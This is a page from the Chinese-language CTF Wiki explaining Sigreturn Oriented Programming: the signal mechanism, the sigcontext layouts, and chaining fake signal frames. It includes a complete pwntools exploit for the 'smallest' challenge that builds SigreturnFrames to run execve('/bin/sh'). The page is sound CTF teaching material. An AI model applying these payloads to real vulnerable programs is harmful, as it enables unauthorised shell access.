CTF Wiki
  • 简介
  • 如何使用 CTF Wiki
  • introduction
    • CTF 历史
    • CTF 竞赛模式简介
    • CTF 竞赛内容
    • 线下攻防经验小结
    • CGC 超级挑战赛
    • 学习资源
  • misc
    • 杂项简介
    • 取证隐写前置技术
    • 信息搜集技术
    • encode
      • 通信领域常用编码
      • 计算机相关的编码
      • 现实世界中常用的编码
    • picture
      • 图片分析简介
      • JPG
      • PNG
      • GIF
    • audio
      • 音频隐写
    • archive
      • RAR 格式
      • ZIP 格式
    • traffic
      • 流量包分析简介
      • 协议分析概述
        • Wireshark
        • DNS
        • HTTP
        • HTTPS
        • FTP
        • USB
        • WIFI
      • 数据提取
      • PCAP 文件修复
    • disk-memory
      • 磁盘内存分析
      • 题目
    • shellcode
    • other
      • pyc
  • web
    • Web 简介
    • XSS
    • php
      • PHP 代码审计
    • SQL 注入
      • sqlmap绕过脚本
      • 各版本数据库语句备忘
    • CSRF
    • SSRF
  • reverse
    • 软件逆向工程简介
    • identify-encode-encryption
      • 常见加密算法和编码识别
    • language
      • 简介
      • go
        • Golang 逆向入门
      • python
        • Python 逆向入门
      • rust
        • Rust 逆向入门
    • maze
      • 迷宫问题
    • obfuscate
      • 控制流平坦化
      • 花指令
      • movofuscator
      • Self-Modified Code
    • vm
      • 虚拟机分析
    • platform
      • linux
        • Detecting Breakpoints
        • Detecting debugging
        • False Disassembly
        • LD_PRELOAD
      • windows
        • anti-debug
          • CheckRemoteDebuggerPresent
          • 反调试技术例题
          • Heap Flags
          • Interrupt 3
          • IsDebuggerPresent
          • 花指令
          • NtGlobalFlag
          • NtQueryInformationProcess
          • The Heap
          • Thread Local Storage(TLS)
          • ZwSetInformationThread
        • unpack
          • 一步到达 OEP 法
          • ESP 定律法
          • DUMP 及 IAT 重建
          • 最后一次异常法
          • 手动查找 IAT 并使用 ImportREC 重建
          • 内存镜像法
          • 保护壳简介
          • SFX 法
          • 单步跟踪法
          • DLL 文件脱壳
    • tools
      • constraint
        • z3
      • debug
        • gdb
        • ollydbg
        • windbg
        • x64dbg/x32dbg
      • simulate-execution
        • angr
        • Unicorn Engine
      • static-analyze
        • dnspy
        • Ghidra
        • IDA Pro
        • jadx
  • crypto
    • 密码学简介
    • asymmetric
      • 介绍
      • discrete-log
        • 离散对数
        • ECC
        • ElGamal
      • knapsack
        • 背包加密
      • lattice
        • CVP
        • 基本介绍
        • 格基规约算法
        • 格概述
      • rsa
        • RSA 选择明密文攻击
        • RSA 复杂题目
        • Coppersmith 相关攻击
        • 公钥指数相关攻击
        • 模数相关攻击
        • Bleichenbacher's attack
        • RSA 侧信道攻击
        • RSA 介绍
        • d_attacks
          • 私钥 d 相关攻击
          • 扩展维纳攻击
    • attack-summary
      • 简介
      • 比特攻击
      • 中间相遇攻击 - MITM
    • basic
      • 基础数学知识
    • blockcipher
      • AES
      • ARX: Add-Rotate-Xor
      • DES
      • IDEA
      • 块加密
      • Simon and Speck Block Ciphers
      • mode
        • CBC
        • CFB
        • CTR
        • ECB
        • 分组模式
        • OFB
        • Padding Oracle Attack
        • 填充方式
        • PCBC
    • certificate
      • 证书格式
    • classical
      • 古典密码简介
      • 单表代换加密
      • 其它类型加密
      • 多表代换加密
      • 总结
    • hash
      • Hash Attack
      • 综合题目
      • Fowler–Noll–Vo hash function
      • 哈希函数
      • MD5
      • SHA1
    • signature
      • DSA
      • ElGamal
      • 数字签名
      • RSA 数字签名
    • streamcipher
      • 流密码
      • fsr
        • 反馈移位寄存器
        • 线性反馈移位寄存器 - LFSR
        • 非线性反馈移位寄存器
      • lcg
        • 题目
        • 线性同余生成器
      • prng
        • 密码安全伪随机数生成器
        • 伪随机数生成器介绍
        • 题目
      • special
        • RC4
  • pwn
    • MacOS
    • misc-os
    • 概述
      • stackoverflow
        • 执行 Shellcode
        • 栈介绍
        • 栈溢出原理
    • browser
      • Chrome
      • Firefox
      • Safari
    • hardware
      • 简介
        • side-channel
          • prefetch side-channel attack
      • trusted-computing
        • 可信执行环境
    • linux
      • kernel-mode
        • 基础知识
        • Introduction
          • DoS
          • Information Disclosure
          • Introduction
            • Change Others
            • Change Self
        • Introduction
          • Introduction
            • 信息泄漏
            • Misc
          • Introduction
            • Kernel Stack Canary
          • Introduction
            • inner-kernel
              • 内部隔离
            • Introduction
              • KPTI - Kernel Page Table Isolation
              • 用户代码不可执行
              • 用户数据不可访问
          • Introduction
            • FGKASLR
            • KASLR
        • Introduction
          • 编译内核驱动
          • 内核下载与编译
          • Qemu 模拟环境
          • Real Device
        • exploitation
          • heap
            • 内核堆概述
            • buddy
              • Cross-Cache Overflow & Page-level Heap Fengshui
              • Page-level UAF
            • slub
              • freelist 劫持
              • Heap Spray
              • kernel UAF
          • race
            • Double Fetch
            • userfaultfd 的使用
          • rop
            • bypass-smep
            • ret2dir
            • 利用 pt_regs 构造通用内核 ROP
            • ret2usr(已过时)
            • Kernel ROP
          • tricks
            • 在内存中直接搜索 flag
      • user-mode
        • environment
        • fmtstr
          • 检测
          • 例子
          • 利用
          • 原理介绍
        • integeroverflow
          • 整数溢出
        • io-file
          • glibc 2.24下 IO_FILE 的利用
          • 伪造vtable劫持程序流程
          • FSOP
          • FILE结构
        • mitigation
          • Canary
        • race-condition
          • introduction
          • 题目
        • summary
          • 获取地址
          • shell 获取小结
          • 控制程序执行流
        • Type Confusion
        • Uninitialized Memory
        • heap
          • mallocng
          • ptmalloc2
            • Chunk Extend and Overlapping
            • Fastbin Attack
            • 堆概述
            • 堆相关数据结构
            • 堆溢出
            • House Of Einherjar
            • House Of Force
            • House of Lore
            • House of Orange
            • House of Pig
            • House of Rabbit
            • House of Roman
            • 堆利用
            • Large Bin Attack
            • 通过堆进行信息泄漏
            • 堆中的 Off-By-One
            • 堆中的检查
            • tcache makes heap exploitation easy again
            • Unlink
            • Unsorted Bin Attack
            • Use After Free
            • implementation
              • 基础操作
              • 释放内存块
              • 堆初始化
              • malloc_state 相关函数
              • 申请内存块
              • 测试支持
              • 深入理解堆的实现
              • tcache
        • stackoverflow
          • arm
            • 环境搭建
            • Arm ROP
          • mips
            • mips - ROP
          • RISC-V
          • x86
            • 基本 ROP
            • 花式栈溢出技巧
            • 中级ROP
            • 栈介绍
            • 栈溢出原理
            • advanced-rop
              • 高级 ROP
              • ret2dlresolve
              • ret2VDSO
              • SROP
    • sandbox
      • Chroot
      • Docker
      • Namespace
      • python
        • Python 沙盒
      • seccomp
        • C 沙盒逃逸
      • Shell Sandbox
    • virtualization
      • basic-knowledge
        • 虚拟化技术简介
        • CPU 虚拟化
        • IO 虚拟化
        • 内存虚拟化
      • parallels
        • Parallels
      • VirtualBox
      • VMWare
      • qemu
        • basic-knowledge
          • QEMU 设备模拟
          • QEMU 内存管理
        • environment
          • 编写 QEMU 模拟设备
          • QEMU 下载与编译
        • exploitation
          • QEMU 逃逸入门
          • 越界读写
  • Android 安全
    • basic_develop
      • Android 开发基础
    • Android 应用运行机制简述
      • Android 中 Java 层的运行机制
        • dex
          • DEX文件
          • ODEX文件
        • smali
          • Smali
      • native_layer
        • so 介绍
    • basic_reverse
      • Android 关键代码定位
      • Android 逆向基本介绍
      • dynamic
        • Android 动态调试
        • IDA 动态调试原生层程序
        • IDA 动态调试 smali 代码
      • static
        • 静态分析综合题目
        • 静态分析 java 层例子
        • 静态分析原生层程序
  • blockchain
    • Blockchain Security Challenges
    • Blockchain Security Overview
    • ethereum
      • Ethereum Basics
      • Ethereum Overview
      • Ethereum Opcodes
      • 学习资源
      • Smart Contract Reverse
      • Function Selector and Argument Encoding
      • Ethereum Storage
      • attacks
        • Airdrop Hunting
        • Arbitrary Writing
        • CREATE2
        • Delegatecall
        • Introduction
        • Jump Oriented Programming
        • Integer Overflow and Underflow
        • Randomness
        • Re-Entrancy
        • Short Address Attack
        • Uninitialized Storage Pointer
    • publicblockchain
      • Public Blockchain Security Overview
      • Blockchain Weaknesses
  • assembly
    • ARM
    • MIPS
    • x86_x64
  • executable
    • elf
      • 程序加载
      • 程序执行流程
      • linking
        • 程序链接
        • Symbol Reslove
      • structure
        • ELF 文件
        • Code Section
        • Data Related Sections
        • Dynamic Sections
        • Misc Sections
        • Sections
        • String Sections
        • .symtab: Symbol Table
    • pe
      • PE 文件格式
      • 导出表
      • 导入表
      • 基址重定位表
  • ics
    • ICS_CTF 竞赛
    • ICS_CTF 发现
    • ICS_CTF 利用
    • ICS_CTF 学习资源
  • contribute
    • 贡献之前
    • 基本贡献方式
    • 贡献文档要求
    • 翻译
  • write up
    • 浙江工业大学CTF赛事
      • 2023第四届“安恒杯”CTF新生赛题解
Powered by GitBook
On this page
  • 基本介绍
  • signal机制
  • 攻击原理
  • 获取shell
  • system call chains
  • 后续
  • 利用工具
  • 示例
  • 题目
  1. pwn
  2. linux
  3. user-mode
  4. stackoverflow
  5. x86
  6. advanced-rop

SROP

Previousret2VDSONextsandbox

Last updated 1 year ago

基本介绍

SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出,其相关研究**Framing Signals — A Return to Portable Shellcode**发表在安全顶级会议上,被评选为当年的。其中相关的paper以及slides的链接如下:

其中,sigreturn是一个系统调用,在类unix系统发生signal的时候会被间接地调用。

signal机制

signal机制是类unix系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。

  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。

    对于signal Frame来说,会因为架构的不同而有所区别,这里给出分别给出x86以及x64的sigcontext

    • x86

    struct sigcontext
    {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;
      unsigned long esp_at_signal;
      unsigned short ss, __ssh;
      struct _fpstate * fpstate;
      unsigned long oldmask;
      unsigned long cr2;
    };
    • x64

    struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t		cwd;
      __uint16_t		swd;
      __uint16_t		ftw;
      __uint16_t		fop;
      __uint64_t		rip;
      __uint64_t		rdp;
      __uint32_t		mxcsr;
      __uint32_t		mxcr_mask;
      struct _fpxreg	_st[8];
      struct _xmmreg	_xmm[16];
      __uint32_t		padding[24];
    };
    
    struct sigcontext
    {
      __uint64_t r8;
      __uint64_t r9;
      __uint64_t r10;
      __uint64_t r11;
      __uint64_t r12;
      __uint64_t r13;
      __uint64_t r14;
      __uint64_t r15;
      __uint64_t rdi;
      __uint64_t rsi;
      __uint64_t rbp;
      __uint64_t rbx;
      __uint64_t rdx;
      __uint64_t rax;
      __uint64_t rcx;
      __uint64_t rsp;
      __uint64_t rip;
      __uint64_t eflags;
      unsigned short cs;
      unsigned short gs;
      unsigned short fs;
      unsigned short __pad0;
      __uint64_t err;
      __uint64_t trapno;
      __uint64_t oldmask;
      __uint64_t cr2;
      __extension__ union
        {
          struct _fpstate * fpstate;
          __uint64_t __fpstate_word;
        };
      __uint64_t __reserved1 [8];
    };
  3. signal handler返回后,内核为执行sigreturn系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行。其中,32位的sigreturn的调用号为119(0x77),64位的系统调用号为15(0xf)。

攻击原理

仔细回顾一下内核在signal信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在Signal Frame中。但是需要注意的是:

  • Signal Frame被保存在用户的地址空间中,所以用户是可以读写的。

  • 由于内核与信号处理程序无关(kernel agnostic about signal handlers),它并不会去记录这个signal对应的Signal Frame,所以当执行sigreturn系统调用时,此时的Signal Frame并不一定是之前内核为用户进程保存的Signal Frame。

说到这里,其实,SROP的基本利用原理也就出现了。下面举两个简单的例子。

获取shell

首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示,这里以64位为例子,给出Signal Frame更加详细的信息

当系统执行完sigreturn系统调用之后,会执行一系列的pop指令以便于恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时,便会得到一个shell。

system call chains

需要指出的是,上面的例子中,我们只是单独的获得一个shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可

  • 控制栈指针。

  • 把原来rip指向的syscall gadget换成syscall; ret gadget。

如下图所示 ,这样当每次syscall返回的时候,栈指针都会指向下一个Signal Frame。因此就可以执行一系列的sigreturn函数调用。

后续

需要注意的是,我们在构造ROP攻击的时候,需要满足下面的条件

  • 可以通过栈溢出来控制栈的内容

  • 需要知道相应的地址

    • "/bin/sh"

    • Signal Frame

    • syscall

    • sigreturn

  • 需要有够大的空间来塞下整个sigal frame

此外,关于sigreturn以及syscall;ret这两个gadget在上面并没有提及。提出该攻击的论文作者发现了这些gadgets出现的某些地址:

并且,作者发现,有些系统上SROP的地址被随机化了,而有些则没有。比如说Linux < 3.3 x86_64(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系统中默认内核),可以直接在vsyscall中的固定地址处找到syscall&return代码片段。如下

但是目前它已经被vsyscall-emulate和vdso机制代替了。此外,目前大多数系统都会开启ASLR保护,所以相对来说这些gadgets都并不容易找到。

值得一说的是,对于sigreturn系统调用来说,在64位系统中,sigreturn系统调用对应的系统调用号为15,只需要RAX=15,并且执行syscall即可实现调用syscall调用。而RAX寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说read函数的返回值为读取的字节数。

利用工具

值得一提的是,在目前的pwntools中已经集成了对于srop的攻击。

示例

这里以360春秋杯中的smallest-pwn为例进行简单介绍。基本步骤如下

确定文件基本信息

➜  smallest file smallest
smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

可以看到该程序为64位静态链接版本。

检查保护

➜  smallest checksec smallest
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序主要开启了NX保护。

漏洞发现

实用IDA直接反编译看了一下,发现程序就几行汇编代码,如下

public start
start proc near
xor     rax, rax
mov     edx, 400h
mov     rsi, rsp
mov     rdi, rax
syscall
retn
start endp

根据syscall的编号为0,可以知道该程序执行的指令为read(0,$rsp,400),即向栈顶读入400个字符。毫无疑问,这个是有栈溢出的。

利用思路

由于程序中并没有sigreturn调用,所以我们得自己构造,正好这里有read函数调用,所以我们可以通过read函数读取的字节数来设置rax的值。重要思路如下

  • 通过控制read读取的字符数来设置RAX寄存器的值,从而执行sigreturn

  • 通过syscall执行execve("/bin/sh",0,0)来获取shell。

漏洞利用程序

from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
    sh = remote('127.0.0.1', 7777)
else:
    sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

其基本流程为

  • 读取三个程序起始地址

  • 程序返回时,利用第一个程序起始地址读取地址,修改返回地址(即第二个程序起始地址)为源程序的第二条指令,并且会设置rax=1

  • 那么此时将会执行write(1,$esp,0x400),泄露栈地址。

  • 利用第三个程序起始地址进而读入payload

  • 再次读取构造sigreturn调用,进而将向栈地址所在位置读入数据,构造execve('/bin/sh',0,0)

  • 再次读取构造sigreturn调用,从而获取shell。

题目

参考阅读

Defcon 2015 Qualifier: fuckup
Sigreturn Oriented Programming (SROP) Attack攻击原理
SROP by Angel Boy
系统调用
Oakland 2014
Best Student Papers
paper
slides
Process of Signal Handlering
signal2-stack
signal2-stack
signal2-stack
gadget1
gadget1